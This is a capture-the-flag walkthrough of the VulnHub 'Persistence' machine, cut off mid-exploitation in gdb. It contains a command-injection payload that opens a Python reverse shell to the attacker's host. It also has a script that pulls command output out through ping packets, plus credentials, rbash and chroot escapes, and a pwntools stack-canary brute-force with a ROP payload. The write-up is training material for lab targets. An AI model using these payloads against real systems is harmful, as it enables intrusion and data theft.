Persistence VulnHub Writeup
- Service Discovery
- A hit, a very palpable hit
- Noisy ping
- Escaping the jail
- What a beautiful shell
- Building the exploit
- Conclusion
Having completed the awesome Sokar recently, I had to check out the other competition machines hosted by VulnHub. This time, it's Persistence by Sagi and superkojiman.
Service Discovery
As usual, we start off with an nmap scan.
nmap -p 1-65535 -T5 -A -v -sT 192.168.57.101
Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-16 08:31 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 08:31
Completed NSE at 08:31, 0.00s elapsed
Initiating NSE at 08:31
Completed NSE at 08:31, 0.00s elapsed
Initiating ARP Ping Scan at 08:31
Scanning 192.168.57.101 [1 port]
Completed ARP Ping Scan at 08:31, 0.20s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:31
Completed Parallel DNS resolution of 1 host. at 08:31, 0.02s elapsed
Initiating Connect Scan at 08:31
Scanning 192.168.57.101 [65535 ports]
Discovered open port 80/tcp on 192.168.57.101
Completed Connect Scan at 08:32, 52.89s elapsed (65535 total ports)
Initiating Service scan at 08:32
Scanning 1 service on 192.168.57.101
Completed Service scan at 08:32, 6.01s elapsed (1 service on 1 host)
Initiating OS detection (try #1) against 192.168.57.101
NSE: Script scanning 192.168.57.101.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.18s elapsed
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Nmap scan report for 192.168.57.101
Host is up (0.00068s latency).
Not shown: 65534 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.4.7
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.4.7
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 08:00:27:25:95:3A (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 49.708 days (since Sun Sep 27 16:33:19 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.57.101
NSE: Script Post-scanning.
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Initiating NSE at 08:32
Completed NSE at 08:32, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.28 seconds
Raw packets sent: 51 (4.868KB) | Rcvd: 27 (2.280KB)
So we've got a single port open, apparently backed by an nginx server.
After browsing to the site, we're presented with the Dali painting 'The Persistence of Memory'.
This looks to be a digital recreation of the original. I run it through exiftool - just in case - but come up empty.
After attempting to access a non-existant PHP file (index.php), we're presented with the response header 'X-Powered-By: PHP/5.3.3'. This is quite an old version of PHP, so may be useful. I take note of it for later.
Apart from the image being output on the page, there really are no other hints as to what we're looking for, coupled with the fact that there is no robots file forces me to break out the 'Force Browse' feature of ZAP.
A hit, a very palpable hit
ZAP returned a single hit on the 'Force Browse' run - debug.php.
After browsing to this file, we're given a small form, prefxed with the text 'Ping address'.
This just smacks of command injection.
After entering a valid IP and submitting, the output of the script does not change - bugger. I try tacking a command on to the end of the IP, to see if we can inject our own commands.
127.0.0.1; ping -c 2 192.168.57.102
I fire up 'tcpdump' to watch for pings.
tcpdump -i eth1 -e icmp[icmptype] == 8
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 262144 bytes
08:56:51.038637 08:00:27:25:95:3a (oui Unknown) > 08:00:27:d9:c6:27 (oui Unknown), ethertype IPv4 (0x0800), length 98: 192.168.57.101 > 192.168.57.102: ICMP echo request, id 3844, seq 1, length 64
08:56:52.040330 08:00:27:25:95:3a (oui Unknown) > 08:00:27:d9:c6:27 (oui Unknown), ethertype IPv4 (0x0800), length 98: 192.168.57.101 > 192.168.57.102: ICMP echo request, id 3844, seq 2, length 64
Awesome! Time to fire up a reverse shell. I start listening on port 6666 with netcat.
nc -lv 0.0.0.0 6666
I then submit the following to the 'debug.php' script.
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.57.102",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
No dice - no connect back, and the response timed out. I'm guessing some sort of egress filtering is in place. I try to drop a remote PHP shell instead. First of all, I test to see if we have write access to the current directory.
127.0.0.1; echo 1 > test.txt
No luck again - no file was created, or the current working directory is changed prior to executing ping. I attempt to hard code the path to the default document index of nginx.
127.0.0.1; echo 1 > /usr/share/nginx/html/test.txt; echo 1 > /usr/local/nginx/html/test.txt
Still nothing.
Noisy ping
As I know we can get ping traffic out, I decided to try and use ping as a method of exfiltrating data from the target.
This took quite a while to put together, but I ended up with a nice little Python script that would automate the exploitation and extraction of information from the target.
from scapy.all import *
from threading import Thread
from requests import post
def pingListen():
pkts = sniff(iface="eth1", timeout=1)
for packet in pkts:
if packet.getlayer(ICMP):
if str(packet.getlayer(ICMP).type) == "8":
sys.stdout.write(packet.getlayer(Raw).load[-1])
if __name__ == "__main__":
while True:
try:
sys.stdout.write('# ')
command = sys.stdin.readline().strip()
thread = Thread(target=pingListen)
thread.start()
payload = "; TEST=$(%s 2>&1 | xxd -c 1 -ps); for TEST2 in $TEST; do ping -c 1 -p $TEST2 192.168.57.102; done"%command
r = post('http://192.168.57.101/debug.php', data={"addr":payload})
thread.join()
except KeyboardInterrupt:
break
After running this, I'm presented with a fake terminal within which I can execute commands. It takes a second between issuing the command and receiving the output due to the delay on scapy, but this is required in order to wait for the full output to be transmitted and received.
python persistence-shell.py
WARNING: No route found for IPv6 destination :: (no default route?)
# id
uid=498(nginx) gid=498(nginx) groups=498(nginx)
# ls -alh
total 168K
drwxr-xr-x. 2 root root 4.0K Aug 16 2014 .
drwxr-xr-x. 3 root root 4.0K Mar 12 2014 ..
-rwxr-xr-x. 1 root root 439 Mar 17 2014 debug.php
-rw-r--r--. 1 root root 391 Mar 12 2014 index.html
-rw-r--r--. 1 root root 144K Mar 12 2014 persistence_of_memory_by_tesparg-d4qo048.jpg
-rwsr-xr-x. 1 root root 5.7K Mar 17 2014 sysadmin-tool
# pwd
/usr/share/nginx/html
Ok, so that was why we couldn't write to the directory - it's owned by 'root', and we are not granted write access.
I attempt to cat out the 'debug.php' script, just out of curiosity, but am met with a 'command not found' error..strange..
# cat debug.php
sh: cat: command not found
I have a sniff around, to see which tools we have available to us.
# ls -alh /
total 36K
drwxr-xr-x. 9 root root 4.0K Mar 17 2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17 2014 ..
drwxr-xr-x. 2 root root 4.0K May 30 2014 bin
drwxr-xr-x. 2 root root 4.0K Mar 12 2014 dev
drwxr-xr-x. 7 root root 4.0K Mar 12 2014 etc
drwxr-xr-x. 2 root root 4.0K Mar 12 2014 lib
drwxrwxrwt. 2 root root 4.0K Aug 16 2014 tmp
drwxr-xr-x. 7 root root 4.0K Mar 12 2014 usr
drwxr-xr-x. 7 root root 4.0K Mar 12 2014 var
# ls -alh /usr
total 28K
drwxr-xr-x. 7 root root 4.0K Mar 12 2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17 2014 ..
drwxr-xr-x. 2 root root 4.0K Aug 15 2014 bin
drwxr-xr-x. 5 root root 4.0K Mar 17 2014 lib
drwxr-xr-x. 2 root root 4.0K Mar 12 2014 libexec
drwxr-xr-x. 2 root root 4.0K Mar 12 2014 sbin
drwxr-xr-x. 3 root root 4.0K Mar 12 2014 share
# ls -lah /bin /usr/bin
/bin:
total 2.0M
drwxr-xr-x. 2 root root 4.0K May 30 2014 .
drwxr-xr-x. 9 root root 4.0K Mar 17 2014 ..
-rwxr-xr-x. 1 root root 849K Mar 12 2014 bash
-rwxr-xr-x. 1 root root 23K Mar 17 2014 echo
-rwxr-xr-x. 1 root root 111K Mar 12 2014 ls
-rwxr-xr-x. 1 root root 43K Mar 12 2014 mkdir
-rwsr-xr-x. 1 root root 37K Mar 12 2014 ping
-rwxr-xr-x. 1 root root 849K Mar 12 2014 sh
-rwxr-xr-x. 1 root root 34K Mar 12 2014 su
-rwxr-xr-x. 1 root root 48K May 30 2014 touch
-rwxr-xr-x. 1 root root 23K Mar 12 2014 uname
/usr/bin:
total 132K
drwxr-xr-x. 2 root root 4.0K Aug 15 2014 .
drwxr-xr-x. 7 root root 4.0K Mar 12 2014 ..
-rwxr-xr-x. 1 root root 29K Mar 17 2014 base64
-rwxr-xr-x. 1 root root 27K Mar 12 2014 id
-rwxr-xr-x. 1 root root 3.6K Mar 17 2014 python
-rwxr-xr-x. 1 root root 3.6K Mar 17 2014 python2.6
-rwxr-xr-x. 1 root root 39K Aug 15 2014 tr
-rwxr-xr-x. 1 root root 14K Aug 15 2014 xxd
Not much at all..this smells of a jailed shell to me.
Escaping the jail
Before rushing ahead, I go back a few steps. In the nginx root directory, there was a binary named 'sysadmin-tool'. This is owned by 'root', and has the SUID bit set. As this is in the root directory for nginx, I simply download it with my browser and get digging.
After loading the binary into Hopper, I check out the generated C-style code. There's only one function (main).
void main(int arg0, int arg1) {
esp = (esp & 0xfffffff0) - 0x20;
if (arg0 != 0x2) {
puts("Usage: sysadmin-tool --activate-service");
}
else {
if (strncmp(*(arg1 + 0x4), "--activate-service", 0x12) != 0x0) {
puts("Usage: sysadmin-tool --activate-service");
}
else {
setreuid(0x0, 0x0);
mkdir("breakout", 0x1c0);
chroot("breakout");
while (*(esp + 0x1c) <= 0x63) {
chdir(0x8048728);
}
chroot(0x804872b);
system("/bin/sed -i 's/^#//' /etc/sysconfig/iptables");
system("/sbin/iptables-restore < /etc/sysconfig/iptables");
puts("Service started...");
puts("Use avida:dollars to access.");
rmdir("/nginx/usr/share/nginx/html/breakout");
}
}
return;
}
So, it looks like this binary will escape out of the jail, enable some firewall rules (by replacing all hash characters with nothing), and then refresh the firewall. It then handily gives us some credentials, so I'm guessing the service it opens is SSH. I execute the binary..
# ./sysadmin-tool --activate-service
Service started...
Use avida:dollars to access.
..and then do another port scan.
nmap -p 1-65535 -T5 -A -v -sT 192.168.57.101
Starting Nmap 6.49SVN ( https://nmap.org ) at 2015-11-16 12:22 GMT
NSE: Loaded 127 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:22
Completed NSE at 12:22, 0.00s elapsed
Initiating NSE at 12:22
Completed NSE at 12:22, 0.00s elapsed
Initiating ARP Ping Scan at 12:22
Scanning 192.168.57.101 [1 port]
Completed ARP Ping Scan at 12:22, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:22
Completed Parallel DNS resolution of 1 host. at 12:22, 0.03s elapsed
Initiating Connect Scan at 12:22
Scanning 192.168.57.101 [65535 ports]
Discovered open port 22/tcp on 192.168.57.101
Discovered open port 80/tcp on 192.168.57.101
Connect Scan Timing: About 45.82% done; ETC: 12:23 (0:00:37 remaining)
Completed Connect Scan at 12:22, 54.07s elapsed (65535 total ports)
Initiating Service scan at 12:22
Scanning 2 services on 192.168.57.101
Completed Service scan at 12:23, 6.01s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 192.168.57.101
NSE: Script scanning 192.168.57.101.
Initiating NSE at 12:23
Completed NSE at 12:23, 0.26s elapsed
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Nmap scan report for 192.168.57.101
Host is up (0.00086s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3 (protocol 2.0)
| ssh-hostkey:
| 1024 f6:c7:fe:24:09:fa:dc:db:ea:7e:33:6a:f5:36:58:35 (DSA)
|_ 2048 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54 (RSA)
80/tcp open http nginx 1.4.7
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.4.7
|_http-title: The Persistence of Memory - Salvador Dali
MAC Address: 08:00:27:25:95:3A (Cadmus Computer Systems)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.10, Linux 2.6.32 - 3.13
Uptime guess: 0.049 days (since Mon Nov 16 11:12:12 2015)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE
HOP RTT ADDRESS
1 0.86 ms 192.168.57.101
NSE: Script Post-scanning.
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Initiating NSE at 12:23
Completed NSE at 12:23, 0.00s elapsed
Read data files from: /usr/local/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.43 seconds
Raw packets sent: 51 (4.868KB) | Rcvd: 27 (2.280KB)
What a beautiful shell
I login to SSH with the credntials we've been provided, and am rewarded with a real shell.
ssh avida@192.168.57.101
The authenticity of host '192.168.57.101 (192.168.57.101)' can't be established.
RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.57.101' (RSA) to the list of known hosts.
avida@192.168.57.101's password:
Last login: Mon Mar 17 17:13:40 2014 from 10.0.0.210
-rbash-4.1$
-rbash-4.1$ cd usr
-rbash: cd: restricted
-rbash-4.1$ cd /
-rbash: cd: restricted
Oh, lovely. We've been dropped into another jail, this time using the command 'rbash'.
After doing some reading, I need to find a way to execute an arbitrary path using a binary available to me.
I inspect the PATH environment variable, and get a list of all the binaries available to me.
-rbash-4.1$ echo $PATH
/home/avida/usr/bin
-rbash-4.1$ ls -lah /home/avida/usr/bin
total 8.0K
drwxr-x---. 2 root avida 4.0K Mar 17 2014 .
drwxr-xr-x. 3 root avida 4.0K Mar 17 2014 ..
lrwxrwxrwx. 1 root root 8 Mar 17 2014 cat -> /bin/cat
lrwxrwxrwx. 1 root root 14 Mar 17 2014 clear -> /usr/bin/clear
lrwxrwxrwx. 1 root root 7 Mar 17 2014 cp -> /bin/cp
lrwxrwxrwx. 1 root root 8 Mar 17 2014 cut -> /bin/cut
lrwxrwxrwx. 1 root root 7 Mar 17 2014 dd -> /bin/dd
lrwxrwxrwx. 1 root root 7 Mar 17 2014 df -> /bin/df
lrwxrwxrwx. 1 root root 13 Mar 17 2014 diff -> /usr/bin/diff
lrwxrwxrwx. 1 root root 12 Mar 17 2014 dir -> /usr/bin/dir
lrwxrwxrwx. 1 root root 11 Mar 17 2014 du -> /usr/bin/du
lrwxrwxrwx. 1 root root 13 Mar 17 2014 file -> /usr/bin/file
lrwxrwxrwx. 1 root root 12 Mar 17 2014 ftp -> /usr/bin/ftp
lrwxrwxrwx. 1 root root 9 Mar 17 2014 grep -> /bin/grep
lrwxrwxrwx. 1 root root 11 Mar 17 2014 gunzip -> /bin/gunzip
lrwxrwxrwx. 1 root root 9 Mar 17 2014 gzip -> /bin/gzip
lrwxrwxrwx. 1 root root 11 Mar 17 2014 id -> /usr/bin/id
lrwxrwxrwx. 1 root root 14 Mar 17 2014 ifconfig -> /sbin/ifconfig
lrwxrwxrwx. 1 root root 14 Mar 17 2014 iftop -> /usr/bin/iftop
lrwxrwxrwx. 1 root root 11 Mar 17 2014 ipcalc -> /bin/ipcalc
lrwxrwxrwx. 1 root root 9 Mar 17 2014 kill -> /bin/kill
lrwxrwxrwx. 1 root root 15 Mar 17 2014 locale -> /usr/bin/locale
lrwxrwxrwx. 1 root root 7 Mar 17 2014 ls -> /bin/ls
lrwxrwxrwx. 1 root root 14 Mar 17 2014 lscpu -> /usr/bin/lscpu
lrwxrwxrwx. 1 root root 15 Mar 17 2014 md5sum -> /usr/bin/md5sum
lrwxrwxrwx. 1 root root 10 Mar 17 2014 mkdir -> /bin/mkdir
lrwxrwxrwx. 1 root root 9 Mar 17 2014 nano -> /bin/nano
lrwxrwxrwx. 1 root root 12 Mar 17 2014 netstat -> /bin/netstat
lrwxrwxrwx. 1 root root 9 Mar 17 2014 nice -> /bin/nice
lrwxrwxrwx. 1 root root 15 Mar 17 2014 passwd -> /usr/bin/passwd
lrwxrwxrwx. 1 root root 9 Mar 17 2014 ping -> /bin/ping
lrwxrwxrwx. 1 root root 7 Mar 17 2014 ps -> /bin/ps
lrwxrwxrwx. 1 root root 15 Mar 17 2014 pstree -> /usr/bin/pstree
lrwxrwxrwx. 1 root root 8 Mar 17 2014 pwd -> /bin/pwd
lrwxrwxrwx. 1 root root 15 Mar 17 2014 rename -> /usr/bin/rename
lrwxrwxrwx. 1 root root 15 Mar 17 2014 renice -> /usr/bin/renice
lrwxrwxrwx. 1 root root 7 Mar 17 2014 rm -> /bin/rm
lrwxrwxrwx. 1 root root 10 Mar 17 2014 rmdir -> /bin/rmdir
lrwxrwxrwx. 1 root root 11 Mar 17 2014 route -> /sbin/route
lrwxrwxrwx. 1 root root 12 Mar 17 2014 seq -> /usr/bin/seq
lrwxrwxrwx. 1 root root 9 Mar 17 2014 sort -> /bin/sort
lrwxrwxrwx. 1 root root 15 Mar 17 2014 telnet -> /usr/bin/telnet
lrwxrwxrwx. 1 root root 12 Mar 17 2014 top -> /usr/bin/top
lrwxrwxrwx. 1 root root 10 Mar 17 2014 touch -> /bin/touch
lrwxrwxrwx. 1 root root 13 Mar 17 2014 uniq -> /usr/bin/uniq
lrwxrwxrwx. 1 root root 15 Mar 17 2014 uptime -> /usr/bin/uptime
lrwxrwxrwx. 1 root root 11 Mar 17 2014 wc -> /usr/bin/wc
lrwxrwxrwx. 1 root root 14 Mar 17 2014 which -> /usr/bin/which
lrwxrwxrwx. 1 root root 12 Mar 17 2014 who -> /usr/bin/who
lrwxrwxrwx. 1 root root 15 Mar 17 2014 whoami -> /usr/bin/whoami
I note that 'nano' is available to use. I know that 'nano' uses the program 'spell' for spell checking out the of box. We can change the path to the 'spell' program using a command line parameter. If we change the location to '/bin/sh', then write the string '/bin/bash' in an empty file and trigger spell checking with CTRL+T, we'll be dropped into an actual shell!
nano -s /bin/sh
Next, I reset the PATH environment variable and check out what this user has the permission to do with sudo.
bash-4.1$ export PATH='/usr/bin:/bin:/sbin:/home/avida/usr/bin'
bash-4.1$ sudo -l
[sudo] password for avida:
Sorry, user avida may not run sudo on persistence.
Damn - never mind, we're at least in a full shell now. Time to get digging.
bash-4.1$ find / -perm +6000 -type f 2>/dev/null
/sbin/pam_timestamp_check
/sbin/netreport
/sbin/unix_chkpwd
/usr/sbin/postqueue
/usr/sbin/usernetctl
/usr/sbin/postdrop
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/ssh-agent
/usr/bin/passwd
/usr/bin/crontab
/usr/bin/wall
/usr/bin/write
/usr/bin/chage
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/usr/libexec/openssh/ssh-keysign
/usr/libexec/utempter/utempter
/usr/libexec/pt_chown
/bin/fusermount
/bin/ping
/bin/ping6
/bin/mount
/bin/umount
/bin/su
/nginx/usr/share/nginx/html/sysadmin-tool
/nginx/bin/ping
Nothing much of interest here unfortunately.
I check for locally running services using netstat.
bash-4.1$ netstat -al --numeric-ports | grep LISTEN
tcp 0 0 *:3333 *:* LISTEN
tcp 0 0 localhost:9000 *:* LISTEN
tcp 0 0 *:80 *:* LISTEN
tcp 0 0 *:22 *:* LISTEN
tcp 0 0 localhost:25 *:* LISTEN
tcp 0 0 *:22 *:* LISTEN
tcp 0 0 localhost:25 *:* LISTEN
Well, we knew about ports 80 and 22, but ports 25, 3333 and 9000 are all news to us.
Connecting to port 25, we're met by a standard SMTP greeting message. Port 333 however gives us something rather..curious..
bash-4.1$ nc localhost 3333
[+] hello, my name is sploitable
[+] would you like to play a game?
>
As we're not root, we can't directly find out which binary this port is being listened to by. Instead, I get a list of processes prior to connecting and a list of processes after connecting. As most network services fork on connection, we should see a difference in the process list containing the forked process.
# Before connecting
bash-4.1$ ps aux > /tmp/ps1
# After connecting
bash-4.1$ ps aux > /tmp/ps2
bash-4.1$ diff /tmp/ps1 /tmp/ps2
82,84c82,83
< avida 9346 0.0 0.3 5216 1632 pts/0 S+ 07:55 0:00 /bin/sh
< root 9526 0.0 0.0 0 0 ? Z 08:09 0:00 [wopr] <defunct>
< root 9568 0.4 0.6 11884 3324 ? Ss 08:12 0:00 sshd: avida [priv]
---
> avida 9346 0.0 0.3 5216 1632 pts/0 S 07:55 0:00 /bin/sh
> root 9568 0.3 0.6 11884 3324 ? Ss 08:12 0:00 sshd: avida [priv]
89,90c88,91
< avida 9593 0.0 0.2 5124 1484 pts/1 S 08:12 0:00 /bin/sh
< avida 9594 2.0 0.2 4932 1048 pts/1 R+ 08:12 0:00 ps aux
---
> avida 9593 0.0 0.2 5124 1488 pts/1 S 08:12 0:00 /bin/sh
> avida 9595 0.1 0.1 3396 704 pts/0 S+ 08:12 0:00 nc localhost 3333
> root 9596 0.0 0.0 2004 168 ? S 08:12 0:00 /usr/local/bin/wopr
> avida 9604 0.0 0.2 4932 1048 pts/1 R+ 08:13 0:00 ps aux
The only process that jumps out here is located at '/usr/local/bin/wopr'.
I Base64 encode the binary, transfer it to my test machine, decode it and then open it up in Hopper (I actually moved to using the Retargetable Decompiler instead). I then take a copy of the generated source for the binary.
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2015 Retargetable Decompiler <info@retdec.com>
//
#include <errno.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
// ------------------------ Structures ------------------------
struct sockaddr {
int16_t e0;
char e1[14];
};
// ------------------- Function Prototypes --------------------
int32_t get_reply(char * a1, struct sockaddr * a2, char * fd);
// ------------------------ Functions -------------------------
// Address range: 0x8048774 - 0x80487dd
int32_t get_reply(char * a1, struct sockaddr * a2, char * fd) {
int32_t v1 = *(int32_t *)20; // 0x804878d
int32_t v2;
memcpy((char *)&v2, a1, (int32_t)a2);
write((int32_t)fd, "[+] yeah, I don't think so\n", 27);
int32_t v3 = *(int32_t *)20; // 0x80487cf
if (v3 != v1) {
// 0x80487d7
__stack_chk_fail();
// branch -> 0x80487dc
}
// 0x80487dc
return v3 ^ v1;
}
// Address range: 0x80487de - 0x8048b4f
int main(int argc, char ** argv) {
int32_t option_value = 1; // bp-564
int32_t addr_len = 16; // bp-568
struct sockaddr * stat_loc = (struct sockaddr *)1;
int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x8048838
if (sock_fd <= 0) {
// 0x804884c
perror("socket");
int32_t status = *__errno_location(); // 0x804885d
exit(status);
// UNREACHABLE
}
// 0x8048867
stat_loc = (struct sockaddr *)1;
if (setsockopt(sock_fd, SO_DEBUG, 2, (char *)&option_value, 4) <= 0) {
// 0x804889b
perror("setsockopt");
int32_t status2 = *__errno_location(); // 0x80488ac
exit(status2);
// UNREACHABLE
}
int16_t addr = 2;
htons(3333);
stat_loc = NULL;
int32_t v1;
memset((char *)&v1, 0, 8);
if (bind(sock_fd, (struct sockaddr *)&addr, 16) <= 0) {
// 0x8048921
perror("bind");
int32_t status3 = *__errno_location(); // 0x8048932
exit(status3);
// UNREACHABLE
}
// 0x804893c
puts("[+] bind complete");
stat_loc = (struct sockaddr *)20;
if (listen(sock_fd, 20) <= 0) {
// 0x8048962
perror("listen");
int32_t status4 = *__errno_location(); // 0x8048973
exit(status4);
// UNREACHABLE
}
// 0x804897d
stat_loc = (struct sockaddr *)"/tmp/log";
setenv("TMPLOG", "/tmp/log", 1);
puts("[+] waiting for connections");
puts("[+] logging queries to $TMPLOG");
int32_t addr2;
int32_t accepted_sock_fd = accept(sock_fd, (struct sockaddr *)&addr2, &addr_len); // 0x80489ce
if (accepted_sock_fd <= 0) {
// 0x80489e2
perror("accept");
int32_t status5 = *__errno_location(); // 0x80489f3
exit(status5);
// UNREACHABLE
}
// 0x80489fd
puts("[+] got a connection");
if (fork() != 0) {
// 0x8048b0e
close(accepted_sock_fd);
stat_loc = NULL;
waitpid(-1, (int32_t *)&stat_loc, WNOHANG);
return accepted_sock_fd;
}
// 0x8048a16
stat_loc = (struct sockaddr *)"[+] hello, my name is sploitable\n";
write(accepted_sock_fd, "[+] hello, my name is sploitable\n", 33);
stat_loc = (struct sockaddr *)"[+] would you like to play a game?\n";
write(accepted_sock_fd, "[+] would you like to play a game?\n", 35);
stat_loc = (struct sockaddr *)"> ";
write(accepted_sock_fd, "> ", 2);
stat_loc = NULL;
int32_t buf;
memset((char *)&buf, 0, 512);
struct sockaddr * v2 = (struct sockaddr *)read(accepted_sock_fd, (char *)&buf, 512); // 0x8048aae_0
stat_loc = v2;
get_reply((char *)&buf, v2, (char *)accepted_sock_fd);
stat_loc = (struct sockaddr *)"[+] bye!\n";
write(accepted_sock_fd, "[+] bye!\n", 9);
close(accepted_sock_fd);
exit(0);
// UNREACHABLE
}
// --------------- Dynamically Linked Functions ---------------
// int * __errno_location(void);
// void __stack_chk_fail(void);
// int accept(int socket, struct sockaddr *restrict address, socklen_t *restrict address_len);
// int bind(int socket, const struct sockaddr *address, socklen_t address_len);
// int close(int);
// void exit(int);
// pid_t fork();
// uint16_t htons(uint16_t hostshort);
// int listen(int socket, int backlog);
// void * memcpy(void *restrict, const void *restrict, size_t);
// void * memset(void *, int, size_t);
// void perror(const char *);
// int puts(const char *);
// ssize_t read(int fildes, void *buf, size_t nbyte);
// int setenv(const char *, const char *, int);
// int setsockopt(int sockfd, int level, int optname, const void *optval, socklen_t optlen);
// int socket(int domain, int type, int protocol);
// pid_t waitpid(pid_t, int *, int);
// ssize_t write(int fildes, const void *buf, size_t nbyte);
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (i686-redhat-linux-gcc) (4.6.3)
// Detected functions: 2
// Decompiler release: v2.1.1 (2015-11-11)
// Decompilation date: 2015-11-16 14:18:14
So, this process is running as root. I'm guessing we need to discover (and exploit) a vulnerability in order to gain a shell.
After walking through the binary in gdb, I made some notes with my findings.
- 0x08048a89 main sets 0x200 bytes at offset 0xffffce24 to 0x0
- 0x08048aa9 main reads 0x200 bytes from fd 0x4 (the socket) into 0xffffce24
- write AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AA to STDIN
- 0x08048ad1 calls get_reply with pointer to previous input (0xffce24), length (0x200) and file descriptor 0x4 (socket)
- 0x080487ab calls memcpy with destination 0xffffcda6, source 0xffffce24, and length 0x200
- 0x080487c6 calls write on file descriptor 0x4, address 0x8048c14 and length 0x1b (string: '[+] yeah, I don't think so\n')
- 0x080487cb Moves value at EBP-0x4 into EAX, ready for stack canary check - contains value from generated string at offset 30 ';AA)'
- 0x080487ce XORs EAX with the stack canary
- 0x080487dd if stack canary matched, returns to value in stack from input string at offset 38 'AaAA'
- First fork on XOR results in value 0xc602b13b with data ';AA)'
- Second fork on XOR results in value 0xc602b13b with data ';AA)'
- Static canary between forks means we can bruteforce the canary by sending strings of increasing length as the payload, and checking for the string 'bye' on the fork (which means it passed the canary check)
Using the above, I put together a small Python script that would allow be to bruteforce the canary.
from pwn import *
canary_offset = 30
canary_length = 4
canary = []
context.log_level = 'error'
while len(canary)<4:
for i in range(0,256):
print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += chr(i)
r = remote('127.0.0.1', 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
if 'bye' in data:
canary.append(chr(i))
break
print canary
Once this loop completes, we are provided with the current valid canary. From here, we need to build an exploit to gain a shell.
Building the exploit
To make things easier, I open an SSH session, exposing port 3333 on localhost on the target machine to my testing machine.
ssh -L 3333:localhost:3333 avida@192.168.57.101
As a proof of concept, I extend the exploit script above to execute a simple payload, which will essentially output for a second time the 'exit' string from the binary.
from pwn import *
canary_offset = 30
canary_length = 4
canary = []
context.log_level = 'error'
host = '127.0.0.1'
while len(canary)<4:
for i in range(0,256):
print'Canary byte %s - trying chr(%s)'%(len(canary)+1,i)
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += chr(i)
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
if 'bye' in data:
canary.append(chr(i))
break
print canary
print 'Exploiting'
payload = 'A' * canary_offset
payload += ''.join(canary)
payload += struct.pack('I', 0xdeadbeef) # Padding
payload += struct.pack('I', 0x804858c) # write
payload += struct.pack('I', 0xdeadbeef) # Return address
payload += struct.pack('I', 0x4) # File descriptor
payload += struct.pack('I', 0x8048c14) # address to string '[+] yeah, I don't think so'
payload += struct.pack('I', 0x1b) # Length of string
r = remote(host, 3333)
r.recvuntil('> ')
r.send(payload)
data = r.recvall()
print data
When this script is run, we discover the canary, and then get the expected output.
['\xab', 't', '?', '\xdc']
[+] yeah, I don't think so
[+] yeah, I don't think so
Great! It's worth noting here, I spent a fair bit of time trying to use system and execv to get a shell, but in the end failed to achieve my goal. Undeterred, I went down a different route, and decided to use chown instead.
First of all, I get the address for the 'chown' method.
bash-4.1$ SHELL=/bin/bash gdb -q /usr/local/bin/wopr
Reading symbols from /usr/local/bin/wopr...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x80487e7
